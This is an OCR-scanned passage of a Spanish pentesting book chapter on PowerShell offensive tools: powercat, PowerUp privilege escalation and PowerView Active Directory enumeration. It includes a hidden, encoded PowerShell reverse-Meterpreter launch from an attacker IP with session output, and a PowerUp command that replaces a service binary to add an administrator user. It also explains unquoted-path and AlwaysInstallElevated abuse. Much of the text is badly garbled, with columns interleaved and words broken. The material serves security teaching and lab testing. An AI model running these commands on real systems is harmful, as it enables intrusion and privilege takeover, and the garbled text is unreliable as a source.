Desde la maquina Windows 8.1 el pentester puede lanzar powercal para crear una conexion y recibir
sean 1.-. 1 con powercat. el contenido del fichero remoto. Es una buena forma de evadir ciertos elementos de seguridad.
o st 46 80 de una mdaguine remola oy G . ; Fhing ans S i . ) ) : g,
Fia. 3.05: Escaneo basico al puer(o o como podria ser un antivirus. Una vez se obtiene el contenido se puede almacenar en un fichero
Vg, 3.05: £ _ ' ;
) posteriormente copiar y pegar en la PowerShell.
cat PS C :"\Usex‘s:\.Adm'_in'f strator\Desktop> Import-Module . \powercat. ps1
; i6n de Shellcodes desde Power 3 . PS C:\Users\Administrator\Desktop> powercat —c 192.168.56. 101 Z5 5000
PoC: Descarga ¥ EJBCUCIO .+ nara obtener la instruccion necesand powershell -nop -windows hidden -noni QAgACCATARJACAAPQAQAC CA
DL -ento se va a utilizar powercat para Ja con la que tomar el GUL\bAAzADIALgBk_’.-‘-'quAbA»‘JnACkAXQSwAHUAYgEsAGI-:.'-\Y'.\'AgAH!-'l.-‘\dAB}1.AHQ.AaQBJ.AC.&AZQS4AHQ
En la siguiente prueba de concep Meterpreter inVerso, encodeada ¢ suaianliig c--.-.-AQQBsAG-.-«Ab'.\'EJACgASQE;uAHQAUABo.e.HIAIABsAH.AAQQSk.AGQ,AchTAHr-1Ac».uAs.ACAAdQBpAG4.
i na shellcode, en este caso un Me 4 s gcenario se cuentan con las siguie EEL\bABsAGSAY'.\'BhAHQAaQBvAMAVAB5AHAAZQASACAACTQEpAG-4AdA&gAGY.Ab.i‘«BQ.-’-\HIAb'.-.'BOAGU
fiis e 11_ -d' 1de se encuentra el pentester. En este & CUACOBUAGUABAAZADTAL gEKAGWABAAT .ACkAXQB’.vAHUAY’gEsAGI-:AY‘.\c&gAHl'r'!AdABhAHQ.AiQEjAC. A
ontrol del equipo Aol GEi‘«d_AE'i_AFQAEIAEy.-’-\GUAYQBki‘sCgASQB‘LJAHQ.AUAECIAHIAIAESAHAA\«'}’\BDAHI.-‘-\ZQBH.AGQA RIE DAHQ,
w' - e b ode encodeada. HQAYQBJAGS AUWBPAHDAZQAS ACAASQBUAHQAUARD
mAaguinas: 0o Toolkit para generar la shellc
5 i i ey L =
4 1 Linux con Social Engineering
- Maquina Kali Linux

AHIAL’-‘-.BSAHA-"“U'.\‘BDAGE.ACQBOAEEA.ZABF(AHI.
la GEAbQE 1AHOAZQBYACWATABLAGKAbGBOACAAZAR 3
ercat. €l fichero creado en :

AEMAcgBTAGEACAB PAGBAbBgEGAGWAYQBNAHMA
. &a-de pow .‘-\‘-\pADSA‘ﬁ"-\'BEAG\%’AbABJAGOACAEvAHIAd.»’-LAOACIAbQEZAHYA‘:"‘-V.'ByAHQALgBJ-:.-“«G'.\'.-’&b.i\A'i.-’-\Cl-c
o Windows 8 en la que se servird, a traves ¢ / gB_\f-AGztAﬁABJAG4AdAEQ,AHQAcg,AgAGoAﬁQBtAHrﬂAzQEDACgASQBuAHQ.AUASOAHIAIABkAGU.
- Maguina Widows o . ATABJAGBA QBEUAHQAKQATACCATWAZACOAdw QADDAI.-'-\BBAGQAZAAtAFQ-'-\EQB‘.\'AGU.-‘-\IAA‘&AGO

) q TR . Tl intencion de obtener AIAAtAE4AYQBtAGUATAATAF cAaQBUADMAMg:
magquina Kali Lin fer lanzard powercat con la inte
(o indows 8.1 en la que el pentester 12 !

. Méquina Windows ¢

ACAALQBUAGEABQE 1AHMACABhAGMAZQAGAF A
L CHBOAGGACB1ADS AWWBCAHKAJAB 1AF S AXQEdADS AWWECAHKAJAB 1AFSAXQS MAGIAZQAgAe
A VADAAL AAWAHGAMAAWACWAMAE4ADAAMAAS ADAACAA2 ADAAL AAWAHGAOAAS ACWANABA AU
e fows 8, ¢ g G LALALNAHGANQAYACWANAE4 ADNAMAAS ADAACAA AGTAL AAWAHGANQAY ACHANABA ADAA
L | tquina Windows 0,
irve & 1ina Wine
e se sirve en la magu

(a Fig. 3.07: Obtencion de shellcode creando conevion con el servicon
) jecutar €

maquina Windows §.1. Tras ejecuta

de se haya configurado.

L a 8Z © ntesierr 0 (= i 1 h ro q
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exploit (handler) > exploit

.101:4444
starced reverse handler on 192.168.56.1

[*] Starting the payload handler. ..

.103
e e 4444 —> 192.168.56.103:49450) a

1 e
[*¥] Sending stad !
[*] Meterpreter session 1 opened
£ 2015-06-07 16:09:16 +0200
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(182.168.56.101:

id
eterpreter > getul =
nSlervei username: pshell\Adm.1n1stratcr
meterpreter > sysinngLL
BS
= . Windows 8.1 (Build 9600} .
0s
Architecture : x86
System Language en_US_ S
Heterpreter x86/win.
recer > :
- Fig. 3.08: Obfencion del control remate de una magqu

ina a través de PowerShell.
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il L Deseripcion

Este proyecto focaliza en la ejecucion de tuncionalidades de PoywerShe//.
sin la necesidad de utilizar PowerShell. Utiliza ensamblados NET
gjecutar scripts de PowerShell
Herramienta que permite realizar escaladas de privilegio en sistemas
Windows. Contiene varios métodos que identifican y se aprovechan de
servicios vulnerables, DLLs que permiten aprovecharse, configuraciones
de registro vulnerables, etcétera
Herramienta en PowerShell que permite obtener una situacién de ventaja
en la red y dominios Windows. Orientado a Active Directory

PowerPick —

PowerlUp

PowerView

Tabla 3.03: Elementos que forman PowerTools de Veil-Framework.

PowerUp

PowerUp es un conjunto de herramientas de PowerShel/ que permite realizar escaladas de privilegios
en sistemas Microsoft Windows debido a malas configuraciones o debilid
scripis contienen varios métodos para identificar y
como realizar DLL Hijacking, de

ades. Esle conjunto de
aprovecharse de servicios vulnerables. asi
tectar configuraciones erréneas en ¢l registro de Window
localizar oportunidades de esealada en el sistema. Desarrollado
anteriormente, forma parte de Feil-Framewort.

vy poder
por @harmj(y y, como se mencions
En PowerlUp se pueden encontrar diferentes categorias, como son:
- Enumeracion de servicios y debilidades.

- Aprovechamiento de debilidades en servicios,

- DLL Hijacking.

Chequeo de configuraciones en el registro,

- Helpers y otros.

Para la enumeracion de servicios y debilidades se disponen de vari
muestra una breve descripcion de ellas:

—

as funciones. A continuacion se

Funcion Descripcion

Devuelve el listado de servicios que no tienen entre comillas los
paths donde se encuentra el binario

Get-ServiceUnguoted

Get-Service EXE Perms

Devuelve el listado de servicios dénde el actual usuario puede

sobrescribir Ia ruta del binario

Get-ServicePerms

Devuelve el listado de servicios que el actual usuario puede
modificar

Tabla 3

04 Funciones para la enumeracion de servicios 1debilidaces,
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Estas tres funciones son importantes pard poder detectar configuraciones erroneas en servicios o
en su instalacion. La funcion Get-ServiceUnguoted permitird detectar rutas de binario que 1o se
encuentran entre comillas, por lo que si se crease un binario con el mismo nombre que la ruta hasta
su primer espacio, se podria ejecutar dicho binario. Por ejemplo, supongase que s& tiene un servicio
A, cuyo binario se encuentra en la ruta \program files (x86)\binario.exe. Al no estar entre comillas,
la primera ocurrencia que se va a buscar es program.exe, por lo que si se escribe dicho binario en
esa ruta, cuando el servicio arranque se gjecutara el binario con el privilegio que el servicio tenga.

La funcion Get-ServiceEXEPerms permite detectar que binarios pueden set sobrescritos por el
usuario que lanza la funcion. Esto es algo muy interesante en un pentesting, ya que ya sea con acceso
local o acceso remoto a la mdquina, se podria ejecutar codigo arbitrario a través de esta debilidad.
Supbngase un servicio A, cuyo binario se encuentra en la ruta \progran files (x86) \empresa\binario.
exe. Si los permisos de este binario no han sido bien configurados, el usuario sin privilegio podria

sobreseribirlo, por lo que podria obtener privilegio.

La funcion Get-ServicePerms permite detectar qué servicios pueden ser modificados por el actual
usuario. Esto puede hacer que tin atacante cambie la configuracion del servicio provocando que se
pueda lograr un mayor privilegio. Para el aprovechamiento de debilidades en servicios se disponen

de varias funciones.

A continuacion se muestra una breve descripcion de ellas:

Funcion Descripeion

Modifica un servicio modificable para crearun usuario y

Tnvoke-ServiceUserAdd = i
afiadirlo al grupo de administradores

Qe crea un binario que lanzaré un servicio y afiadira un usua-
rio perteneciente al grupo administradores. El usuario por
defecto es Jhon y su contrasena Passwardl 23!, aunque hay
pardmetros para cambiarlos

Write-UserdddServiceBinary

Se crea un binario que permite gjecutar un comando de cmd

Write-CMDServiceBinary . ; A itk
E personalizado a traves de la creacién de un servicio

Reemplaza el binario de un servicio por uno que anade un

Write-SeiviceEXE , - .
usuario administrador local al sistema

Reemplaza el binario de un servicio con uno que ejecuta un

Write-ServiceEXECMD _
comando personalizado

Restaura un binario de un servicio reemplazado anteriormen-

Restore-Service EXE

te por el binario original

Tuble 3.03: Funciones para el aprovechaniento de debilidades én servicios.

Estas funci
en servicios para llevar a cabo una obtencidn

ones que se pueden visualizaren la tabla, permiten aprovecharse de fallos de configuracion
de privilegio. Ciertamente, estan ligadas a la funcion

Y

A

ejecut

como la de cre .
ar un usuario Sl -
Write. administrador. Si esta.

un usuari rivilegi
Suario con privilegios en el sistema,

La Categoria de ke
informacién, fich
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Get-Service EXEPer:
erms v Gel-Servi oSy .
T i ¥ ServicePerms, va que €slas permiten sab : ; -
s ¥ si los servicios se pueden modificar RIgHe: pErmies hierten oy

Para realizar DLL Hijacki >
ifack : o
¢ Fiiw yacking existen otras funciones en PowerUp. A continuacié
preve descripeion de ellas: P- A continuacién se muestra una

Funcion
Descripeion

A 1 o 1 o E 5 s
Invoke-FindDLLHijack ncuentra oportunidades para realizar hijacking de DLL en los

distintos procesos que se ejecutan en la maquina

Invoke-FindPathHijj
athHijack Encuentra el path dénde se puede realizar el hijacki
jacking

Tabla 3.06: Funciones para realizar DLL Hijacking.

Las aplicaciones utili :
utilizan -
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Cl ) la apllLaCl argue la nueva DLJ_, pala p(}de] dC SleI ar el ﬁ ] }. | o

chero.

Para realizar ch
. equeos de ] i
— 4 ) C_Onﬁglllauones en el registro existen otras funci
stra una breve descripcion de ellas: § luncrones. A continuacion se

Funcion
Descripeion

Gel-Re B il Hg 1 T 3
RegAhvaysinstallElevated Esta funcién chequea si la clave de registro AhvavsinstallEl
£ A 4 o=

vated se encuentra activa o no

E fu 4
cion ¢ qllea pa d t on gu l1ones erroneas
sta 1 ] 5 ra detecta (64 ! ac € a8
dE Al!iOr’Uﬂ(N? enec I'Eg stro

Get-RegdutoLogon

Tubla 3.07: Funciones para realizar el chequeo de o i
‘quieo de configuraciones en el registro

La funcién Ger-RegdhwaysinstallElevared che

Windows esta activo o no Ahva quea si en las ramas HKLM y HKCU del registro de

sinstallElevated. E
- o : . En caso de est .
ar un instalador MS/ N estar ambas con valor de p
c O SO i orde 1. s ia
on cédigo arbitrario, pudiendo elevar privilegio o reali 7 ppd: .

: izar acciones

UserAddMSI para generar el instalador MS/ Ql?:;)(:; — L}EIVE vy i
porcione una aplicacidn i
que permita crear

[pel S ql.] D p 2
€ pro (¢
p pO] lona POMJ(:’} U €S un conjunto de Scripirs baSﬂdDS en ayudal con
e . . - .
€ros 0 acciones a faS demﬁS Categol 1as vistas anter lorme lte. A C()l]tllluaCl(!I’I s5e

mu i
tstra una breve descripeion de ellos:
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Funcion Descripeion

Proporciona un informe con los resultados de las funciones de escalada

nvoke-AllChecks i :
e de privilegios que se han estudiado en este apartado

Genera un paquete MS7 que proporciona una aplicacion para crear un
usuario como administrador u otro grupo de usuario
Arranca un servicio a través del nombre de éste. Puede ser util para
ndo se utilicen funciones de generacion de binarios para sustituir a
los binarios de servicios legitimos

Write-UserAddMSI

Invoke-ServiceStart cua

Invoke-SeiviceStop Detiene un servicio a través del nombre de éste

Habilita un servicio

Deshabilita un servicio

Invoke-ServicelEnable

Invoke-ServiceDisable

Gei-ServiceDetails Devuelve informacion detallada acerca de un servicio

Tahla 3.08: Funciones Helpers de PowerUp.

AllChecks proporciona informacion interesante, quiza sea una de las primeras
para conocer el contexto en el que se mueve el pentester en el
equipo. Como se puede visualizar en la imagen, la funcion retorna informacion sobre la pertenencia
del usuario al grupo administradores con ¢l fin de comprobar un posible hypass UAC, los servicios
comillas, los permisos de los binarios de los servicios. los %6P4TH%
AlwaysinstallElevated, elcctera, Un buen

La funcion Invoke-
funciones que deberian gjecutarse

que no tienen sus rutas entre
para un potencial hijacking de DL, los valores de la clave
resumen rapido con asesoramiento en la propia salida del script.

\Powerlp> Invoke—AllChecks

PS C->lUsers\pgonzalezhDeskt opNPowerTools—master

[#*] RBunning Invoke—-Al1Checks

iz in a local group with adninistrative privileges...

s

[*1 Checking if user S =
[+]1 User is in a local group that grants administrative privilege
[=] Run a BypassUAC attack to elevate privileges to admin.

[[%]1 Run s Invoke—CheckLocal@dmin —Uerhoze’ to determine exact membership.

[=]1 Checking for unguoted service paths...
[+*]1 Use "l.-.'rit;e—Usevl’-lddSeruiceBinaPy’ or ‘Urite

— G:\Program Files {86 >\RSUPPOR

—CMDServiceBinary’ to abuse

[+]1 Unguoted service path: Mobizen plugin
T\MobizenServiceNMohizenService .exe

[%]1 Checking service executable permissions...

[=1 Use ’Write—ServiceEXE —CapuiceMame SUC’ or s ypite—Service ERECHD® to ab

[+] Uulnerable service executable: Mohizen plugin — C:\Program Files (x86?
~RSUPPORT\MohizenServ icexMobizenService .exe

%] Checking service permissions. ..
Fig. 3.09: Reporite de resultados de las funciones de escalada de PowerlUp.
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Esto abre una serie de

— -arlo se ejecutara.
Asi hasta encontrar el binario, que en casQ de e11(;§11t1§;lc[;]aliCi.1()SO y colocarlo en alguno de los
: } da /
! iz ede general un binarl o nidn Get-Service
d al pentester, ya que pu 5 e a funcion Get-Se ;
et ﬂisEnmmpmwa&cmwwwa%m“m”m“mEMI icelUnguote
jpreias TEKIIE ) rTools—mastersPouwerlp> Get—Serviceling

P (:\Useps\pgonzalez\Desktop\Foue

Path
CerviceNane e

__________ C:\Progran Files Cx86>\RSUPPORTNM. . .

5 per (Get—Servicellnguot
U N nnzalez\De*ktop\inerTuoISdmastel\Poue:Up)
BS C:h\lUsershpy s
ed) .path e
:\Progr iles ) g
S\gl: 3518223\ ﬂnzaIEZ\DESRt Pu“e J'? comillas en la ruta del binario.
. Fig. 3.10: Deteccion ee un servicio

12 wices\Mohizen Service.exe
(xBG)\RSUPPORT\MuhlhenSE;:;zgr\Puweru 3

binario que intercalaremos en alguna ruta

s ebe generar el e - , &
Tras detectar el servicio vulnerable, se debe g sando en la evasion de antivirus para que el

P [S38] 5. -—
: ; " - de muchas maneras, y p 3 i e ranida
intermedia. Se puede generar de pto se ha {lustrado con una generacion raj

ter/reverse_tcp de Metasploit.

; a de conce
binario no sea detectado, pero para la pmfsba d Foagem
v sencilla a través del modulo pavioad/windows/metery

Fig. 3.11: Creacion del binario malicioso.

] a escribir, ya que hay que tener

.2 en la ruta intermedia donde se pueda eE.CI’]_b!..l, ya_q .g‘c;r e
- tas donde no pueda escribir. Tras veriiicar q

0. se debe esperar a que se lance

i| binario res col
El binario resultante se _
en cuenta que el penfester se puede e?ncontrr.tr.lud]l 2 e
puede alojar el binario en alguna ruta intermedia del pe §

e [

o reinicie el servicio. | o
; . de Metasploit para tomar el Control,
do configurar ¢! médulo multithandler de Metasploii para
Fn este caso se ha optado config

hdi iqui ta.
una vez se haya gjecutado el codigo en la maquina remota
[«
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También se debe hablar sobre debilidades en las configuraciones de los servicios a tr
permisos de los binarios de éstos. Cuando se instala una aplica
binario que éste lanza esta mal configurado en lo que
de seguridad importante.

avés de los
cién que tiene algin servicio, y el
a permisos se refiere, se puede tener un agujero

Supongase un ejemplo en el que el servicio A lanza un binario denominado pg etl.exe. Este binario
tiene permisos por defecto que permiten que un usuario con menor
Si se genera un binario, por ejemplo con Metasploit, v se afl

tomar el control de la méquina en remoto cuando se lance el

privilegio pueda sobrescribirlo.
ade codigo arbitrario a éste, se podria
servicio,

Para esta segunda prueba de concepto se utiliza la funcién Get-ServiceEXEPer,
los binarios que no tienen los permisos bien configurados. En el ejemplo se puede visualizar como

la funcion devuelve que el binario MobizenService. exe tiene una configuracién de permisos errénea,
por lo que puede ser sobrescrito por el usuario.

ms, la cual detectard

2 C:\Users\pgonzalez\Desktup\PnuerTouls—master

NPowerlp> Get-ServiceEXEPerm

BerviceName Path

pbhizen plugin

C:\Program Files (xBE)\RSUPPORT\H..,_

Fig. 3.13: Deteecion de binario con permisos mal configuracdos.

En esta ocasion el binario se generara con las funciones de PowerlUp Write-Se
ServiceEXECMD. Para poder personalizar la instruccién a ejecutar se utiliz
Write-ServiceEXECMD —ServiceName *“Mobizen plugin”
net localgroup administradores pablo /add”,

rviceEXE y Write-
a la siguiente instruceion
—~CMD “net user pablo 123abe. fadd & &

PS C:\Users\pgunzalez\Desktup\inerTnols—master\PuuerUp> Get—SeruiceEXEPerﬁ

ServiceName Path
Mobizen plugin C:\Program Files Cx86>\RSUPPORT\M_ _ .

PS C:\UsePs\pgnnzalez\Desktop\PuwerTouls—master
D —ServiceName "Mobizen plugin'’ —CMD "met user
localgroup administradores hacked /add"

[%] Binary for seruice ’Mobizen plugin’ with cusotm command “net user hack

eg 123abc. . ~sadd && net localgroup administradores hacked 7add’ written to
C:\Program Files (xBB)\BSUPPORT\MubizenSeruice\MohizenSeruice.exe’

PS G:\Usersip, unzalez\Desktup\PouerTuals—master\ruwerUp>

Fig. 3.14: Creacion de hinarie personalizado con instruccion mualiciose,

NPowerlip> Write—ServiceEXECH
hacked 123ahc.. Zadd && net

.-'\utométicamcmc, se habra movid

o el binario original a una extensién . hek. ¥ se dejara como binario
legitimo el malicioso. Ahora toca arrancar el servicio, o pararlo si estuviera arrancado, yparaello se

Puede hacer desde services.msc. Una vez ¢jecutado el servicio, éste |

anzard el binario sobrescrito y
S¢ ¢jecutard la instruccién prevista.

En este caso se podra visualiza

I como se ha creado un usuario denominado hacked., ¢l cual pe
4l grupo administradores.

rtenece

ivilegi ' -qués de Meterpreter.
Fig. 3.12: Obtencion del méximo privilegio en remoto a frave ] P

HEE
EEE =\
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Mambre Mombre completo Descripcian

#, Administrador Cuenta integrada para |2 administ..

Riihacked

| nwitado

ara el 3cceso C.,

Cuenta integrada p

2

"General | Menbrode Perl |

Migmbro de:

J Administradorss
I Usuarios

Fig. 3.13: Creacion de usuario v adicion al grupo aelministradores.
que permitela obtencién de privilegio

puede comprometer un entorno Windows.
privilegio, siempre y cuando se cumplan

PoC: Configuracién errénea en el registro

oncepto se trata un fallo con el que se

En esta prueba de ¢
la escalada de

Esta configuracion erronea puede provoear
Jas condiciones.

El escenario es el siguiente:
_ Usuario sin privilegio y con acceso a und PowerShell 3.0.
- Equipo con Windows 8.

- Scripts de PowerUp en el equipo.

En el registro de Windows existen dos rutas, tanto en la rama HKLM como en HKCU, que indican
el privilegio con el que se ejecutan los pagueles de instalacion MSI. La rula para HKLM es HKEY
LOCAL MACHINE \SOFTWARE \Poﬁcies‘.;\/Iicmsqﬁ‘HWindows‘ﬂ]n.s‘ial['er. En esta ruta se puede
nominada Ah-‘*aJ'.S'[n.\'.faHE!evated. Si esta clave no existe, la configuracion
ste y su valor es 0. Estara incorrectamente

L es HKEY_CURRENT#USER\.S'qﬂwm'ei

encontrar una clave de
no es vulnerable. Estara correctamente configurada si exi

configurada si existe y su valor es 1. La ruta en HKC
Policies\Microsoft\ Windows\Ins taller.
isteyel

¢ no existe, ocurre como en la anterior, que la configuracion no es vulnerable. Siex
guradas

Silaclav
la configuracién es vulnerable. En resumen. ambas claves tienen que estar confi

valores 1,
avalor 1.
vated se devolvera un valor frie 0 false para indicar
hose a la funcion se pu

Al ejecutar la funcién Get-RegAlwaysinstallEle
n a ejecutar es G

si la configuracién es vulnerable o no. Afiadiendo el parametro ver
visualizar que valores tienen las diferentes claves. Por lo tanto, la instruccio

RegAlwaysinstallEl evated —Verbose.

Capitulo 11 PowerShell puro: El arte del pentesting
L o

IPS C:NUsers\ z
BT AE T e e
DETALLADO: HKLMual: 1
DETALLADO: HKCUual: 1

“ = 33 = .
ALLADO n]."ﬁ‘lll‘ tall 1& a d en hled LBk } i
11E vate a on this machine?

ktop\PowerTo
sTools—mastersPoue
3 terllp> Get—Re .
g lwaysTnsta

Fic 3.716: Pete 7 fAoitr 21y Al /
g, 2. erecel de configuracton ervorea de A vslnstall ET
i [er) . VS fut

veted.

Una vez detectada | i i
aconfiguracio 16
et ok et éxﬁnoamgnl?n qnea, el pentester tiene claro que puede lanz
UserAddMST permite crear unpr-1 Vh‘.egzo, aunque su usuario no tenga privilegio Er L g
con el que se puede crear un archivo M1, el cual contiene una aplicacion ki
usuario, indicando su contrasefia yel gru i et et Lt
. | ¢ grupo al que pert 4
Tras ejecutar Wiy p R
ite-UserA g A utili |
ddMST se podra utilizar el paquete MS/ para cre
ar un nueve usuari
ario

administrador en el equi omo se
uipo. i i
e vl 1 £ quip C mo se puede visualizar en la imag panel de la aplicacié
¥ la elevacion de privilegio es todo un éxito b s T il iy

“  UserAdd - o EEl]

Usemame
backdoor

Password
:passwordﬂ.?—

Group

\ ﬂministﬁdbresﬁ

Create

= 3.07-C i 5 7
g .07 Creqoion de ustar #) [LA%= e ‘ DR lanzacla eon i pogiiel
o e fi 28 el ) i
1 ¥ de ."[71’1‘ acion [y la co pelelil VIS
S ecl .

PowerView

JD()I'-'{’}'V‘ €
Eew es un Con'unt i
o de he Tc >3 3 i
l'ed enun dUITIil!iO de ‘{1/]?.("?'0S'Ofli}cf/}]/.d?;'](‘lltafn gscritas en f (JI\-’(’!'SHE” para Ohte ner ini e la
l '- ‘u fy I B e} ) '_ I'l? ‘)]-.L\._ { {)‘i‘) 'F‘?‘) e e I CO[10CI ]IEI‘ILO (i o I
S Cuales u Za ?(JUI”(S para Aetiv 3 L oy iy ‘ |
cah a - 5 el 2 Ve Dl!'@('f()n’ ! ili ] i [
i I " ey h r ‘ '“I : »y utilize unciones de la AP de ””.”?!3 para 11 o
§ 7a | / s a levar a

Adems 7
mas, Power Fiew también im

Netvien; lementa varis . :
lelview:exe y P a varias metafunciones, incluyendo un portdelal
ahe

aleunas funci 5
funci gunas funciones que identific .

i g ifican usuari "

ones que forman Power Fiew: Isuarios en la red. Mas ade

rramienta
» ¥ s€ podran detectar miles de usos e T
1 un pentesting

Para ¢

€lecutar estas fi :

as funciones

<nomby, sobre Sqiii ;

nombre del qrehive psI>. Otra Opzl_l’ﬁ maquina se puede ejecutar la instruceion import-mod
o 160 seria ejecutar P, ) port-modile
ou

Clecutar
el fi ; :
chero ps1. erShell —exec bypass y en esa sesion
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| | | | | - . r
; nda las funcionalidades que proporciona o —_
14 clasificado en diferentes categorias, agrupa -

Tew esta cla ; Famewori son: |
PO‘:;)_Q rhVS catesorias. Las categorias que comprenden el fi P
en dicha gorias.

- Funcionalidades de red.

Lista un conjunto de servicios que se estan ejecutando sobre una

maquina remota o un listado de maquinas
- Las funciones user-hunting.

Invoke-NetGroupUserAdd

er-iNefCompiters L glupo IOCa] Q de d() 1110 esp rﬁ
en dOl nio G ,\’ = C =

I I aciones e co ﬁana p

a S5.C

Consigue un listado de equipos y servidores en el dominio
- Get-NeitFileServers
- Metafunciones y otros.

Proporciona un listado de servidores de archivos utilizados por los

llBS usuarios del dO]n 1nio
ed.
5 i i
T C 1

continual on s

Indica informacién de recursos compartidos de un equipo de la
Get-NetShare red. Se debe utilizar el pardmetro hostname para indicar el nombre
Descripcion — del equipo
- res de : : = - ;
Nombre Se lista el nombre de dominio actual, los cogtleﬂ(éz;ﬁmo Get-NetLoggedon Lista los usuarios logados con actividad en un servidor especifico
€ 1 modo de
_ ; i s, el PDC, el RIDy € — '
Ger-NetDomain dominio existente e ey o8 sities, el Ger-NerSessiviig
. ion sobre el N )
Muestra informacion s

Lista sesiones activas sobre un servidor especifico, indicando qué
m fu Acti irectory usuario es el que tiene dicha sesién
ra de Active Directory,
catalogo global, el esquema en no encla
Get-NetForest res S

Devuelve la combinacién entre la ejecucion de Ger-Ne

tFiles y el
e lioh weta] o Ger-NetFileSessions comando Ger-NetSessions. En caso de que alguno no devuelva
Hios : Itados, el Itado serd nul
3 » > todos los domi resultados, el resultado serd nulo
) informacion de —=
. 5 Muestra - adores dominio. . = : ;
Get-NetForestDonati Se lista informacién sobre los distintos contr(ci}‘iad(ir oo < Gl Lista las conexiones activas mostrando Jos recursos compartidos
¢ lista : tivo de este domai er-Ne “tions ot £ s e
2 ion del sistema opera . de un servidor o maquina especifica
Muestra la version x B
) - nizacion » 5 ” ; % S = .
Get-NetDomainControllers controller, 1a direccion IP, la Slrl‘cf‘t) . Get-NetRDPSessions Lista las sesiones RDP activas sobre una maquina concreta
el-ivel - ? T e
iones, elce = r 2 p -
partic e T vl Ger-NetFiles Muestra el listado de ficheros abiertos sobre una méaquina
: al en
" Muestra el usuario actu ‘ -
Gl Muestra todos los objetos de tipo usuario. Proporcion Ger-NetProcesses
u

Muestra el listado de procesos, con el propietario del mismo.
. ¢ i sobre una maquina especifica, pudiendo ser una m4
o inio. Informacion
o - usuarios del dom : ¢
informacion sobre 10_(.105 los il. categoria del objeto, homedrive, Tabla 3.10: Funcionalidades de red de PowerView,
cémo el nombre. apellidos, (Z-m; ;mid Z dspath, identificador del
? object guild, : 3 oz
ue se ha logado, 00 o formacion,
s qil]}dl‘i@ SID, elcétera. Es realmente atil e;t?clln iy
- T £ S 4 " g A o 01
e puna fase de recopilacion de informacion de
en

(uina remota

Get-NetUser

Estas funciones permiten conocer més el
de unidades organizativas que existen en |
- un conocimiento amplio sobre el entorno
‘nales nombres de servicio de los usuarios |
; i es

= Lista los principa o latura

G gy e l idades organizativas del dominio en nomencis
ista las unida 5 ; e

Lot Active Direclory

listado de dominios, de usuarios, de grupos, de recursos o

ared a auditar. Son funcionalidades que permiten obtener
en el que el pentester se encuentra.

Acontinuacién se detall

an las funciones proporcionadas en |
Get-NetOUs

a categoria user-hunting:
]
especifico : FraT
- Encuenira OUs enlazadas a un GUID esp m SO Descripcién
Gery GUIDIS ario local o de dominio, siempre que S€a POST7 Encuentra maquinas en el dominio dénde un usuario especitico
. o e } : . o
Invoke-NetUserAdd RS g v stado de grupos existentes en un dominio | Invoke-UserHunter se ha logado, e incluso puede chequear si el usuario tiene acceso
Get-NetGroups Muestra el listado d¢ g .d = E@_‘f_’f_cjﬁ-@—‘ b como administrador local de las maquinas encontradas
¥ . ion para cada = i =
Geb-NelCroup Muestra informacion p Tocales sobre un fost 0 un listado de M_C_'_Mvierﬂn?aded Version con threads de Invoke-UserFHunter
= i : ; rupos locales > T P %
Muestra el listado de grup i | Encuentra los servidores de ficheros utilizados en los directorios
Get-NetLocalGroups Tocal sobre un equipo remoto 0 | l’"WJke-Sfealr/zUserHumer de los usuarios y chequea las sesiones sobre cada servidor de
d o local s ;
i miembros de un grup , = archivos
] Lista los sobre un listado de equipos _——
Get-NetLocalGroup
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A continuacion se detallan las metafunciones y el resto de funciones que se agrupan en la categoria
Descripeion e de Possealieen
L ] : jquinas del
No Encuentra los procesos que se gjecutan en las maqt - -
; ncue en bajo el privilegio de un usuario concreto =w— —
\ Invoke-UserProcessHuntel dominio que corren bajo el p . | o |
‘ ra procesos con un nombre especifico que se ene Es un porr de la herramienta nerview exe utilizando las
ne e & ‘ * .
Invoke-ProcessHunter Enu P corriendo en diversas maquinas 15 o de e heramint v e s
nVeKke-r FOCe: [ | d | C | | ’7
e ontroller | TR neu
eventos de logon solicitando a los domuain co s ks s i i L meu.)dOS.paral e
; Enumera e sta informacion recursos compartidos. Ademds, permite visualizar sesiones
. V : : . ¥ 3 -
Tnvoke-UserEventHun activas. Interesante comando para la fase de descubrimiento
i 1T e
3 i alidades de user-nu 2. 1 de red
Tabla 3.11: Funcionalid if hunting de PowerViey
ionadas en la categoria relaciones de confianza en T ——
funci "Qporcl :
i i0 llan las funciones prop
A continuacion se deta

Versidn con threads de Invoke-Netview

Encuentra y enumera los recursos compartidos de los
dominios:

equipos que forman parte de la red. Utiliza téenicas no
estandar para ello

Invoke-ShareFinder

Descripeion

; inio
Lista todas las relaciones de confianza del actual domi

Nombre

Get-NetDomain Trusts

Dk(’ ; 17 der ff”‘ef.’(!e{]
| MInio -4 F :[ %

] are.

LlSta tOdaS las lelaCl{)nf:S de col lﬁallZa dBl aC[Ual d() (i

pero solo atilizando LDAP. Esto permite ]jacer. relay de
todo el trafico a través de tu DC primario

- E ) 1 PLST, Z P VL[S]() (0] }'l L{S de ]fﬂ'ﬂ (1'-3‘]?{”'?1‘ H]’d{;‘t‘
gl [AEEE S DA Irre o
(If:'! ‘Ve.’ ol T 1818 (a 4

— Encuentra archivos potencialmente sensibles sobre los
Invake-FileFinder e s
equipos de un dominio local

Versién con threads de Invoke-FileFinderThreaded

i Al za para los forest

i claciones de confian 0s o

Lista tod?‘S las 1 | actual usuario del dominio Invoke-FileFinder Threaded
Get-NetForestTrusts asociados con el actu

1 b -upos fuera de su
Enumera los usuarios que estan en grupos fuera d

.o ; Encuentra maquinas en las que el usuario que ejecuta el
dUser TrustGroups principal dominio Invoke-dLocalAdminAceess 5 9 _ 4 5 s il
[nvoke-FindUserTrus 0 ‘ comando tiene acceso como administrador local
Mapea todos los domain trusts y enumera tqd0§ OIS
; ra de su principa =
TrustGroups usuarios que estan en grupos fuera de su p p Invoke- Version con threads de Invoke-
: Iser Trusitn e Vit ) . ; .
Invoke-FindAlIUserdiu dominio — LocalAdminAccesThreaded FindLocalAdmindcces Threaded
T srupo de dominio ; 3 - :
Enumera todos los miembros de Uﬂféml el dorminia Se realiza una bisqueda de usuarios a través de un campo,
- 4 ra de - : Eagc
: TrustUsers y encuentra los usuarios que estan ued it como por ejemplo sunombre. Es necesario utilizar el
il rustuser. she indicar om T ; ¥ : g P :
Invoke-FindGroup consultado. Se debe indicar un Invoke-UserFieldSearch parametro ferm para indicar el término que se quiere
on - . » - ;
Mapea todos los domain (rusts y enumera grupos ¢ matchear y el pardmetro field para indicar sobre qué campo
{a el L . . 11 -
e . i ncipal dominio | B ¢ il lel térmi
Invoke-FindAllGroupTrustUsers usuarios fuera de su princip e Lo se realiza la bisqueda del término
